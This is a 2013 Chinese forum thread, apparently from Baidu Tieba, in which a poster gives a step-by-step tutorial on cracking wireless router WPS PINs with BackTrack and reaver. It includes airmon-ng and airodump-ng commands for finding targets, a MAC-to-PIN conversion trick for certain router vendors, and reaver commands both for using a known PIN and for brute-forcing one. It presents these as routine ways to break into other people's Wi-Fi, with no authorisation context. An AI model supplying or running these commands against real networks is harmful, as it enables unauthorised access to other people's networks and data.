level 5
考虑到大多数人用backtrack是为了无线破解，再加一个reaver的使用方法
2013年06月07日 12点06分
4
level 5
reaver是破解无线路由器pin码的工具
首先确保你的无线网卡能用
然后 airmon-ng start wlan0指令开启混杂模式
2013年06月07日 12点06分
5
level 5
用 airodump-ng mon0 指令查看网络
终端中会建立一个表格
bssid下是mac码 mb下带 . 开启了快速连接 这样的ap可以破解
2013年06月07日 12点06分
6
我的为什么会显示airodump：command not found
2013年07月20日 05点07分
回复 Vinventxue :可能是输错了，要加-ng
2013年07月20日 06点07分
level 5
BSSID ... ... MB ...
...... ... ... 54e. ...
...... ... ... 54e ...
我没法上图，大概就这样，54e. 的那个就可以破解
2013年06月07日 12点06分
7
ESSID下是用户名
2013年06月07日 12点06分
level 5
mac码是12个16进制数 如果前6位是C8 3A 35或00 B0 0C
则存在漏洞 把最后的6位mac码由16进制化为十进制 就是pin码
2013年06月07日 12点06分
8
level 5
知道pin码，就可以用如下指令
reaver -i mon0 -b 要破解的mac码 -p pin码
获得密码 注意mac码是大写
2013年06月07日 12点06分
9
level 5
也可以穷举pin码
reaver -i mon0 -b 要破解的mac码 -vv
有的路由器防pin 穷举过程中会出现(....... waitting for ... seconds ....)
那就有的等了
2013年06月07日 13点06分
10
level 5
当然 backtrack是一个渗透平台 绝不仅仅是破解无线网密码
但那些我不会 你可以去精品区学或请教高人
2013年06月07日 13点06分
11
level 5
第二个资源虽然扫描得不很清，但工具使用的模块很有用
2013年08月02日 08点08分
19
![[呵呵]](/static/emoticons/u5475u5475.png)
![[]](/static/emoticons/.png)
自己顶
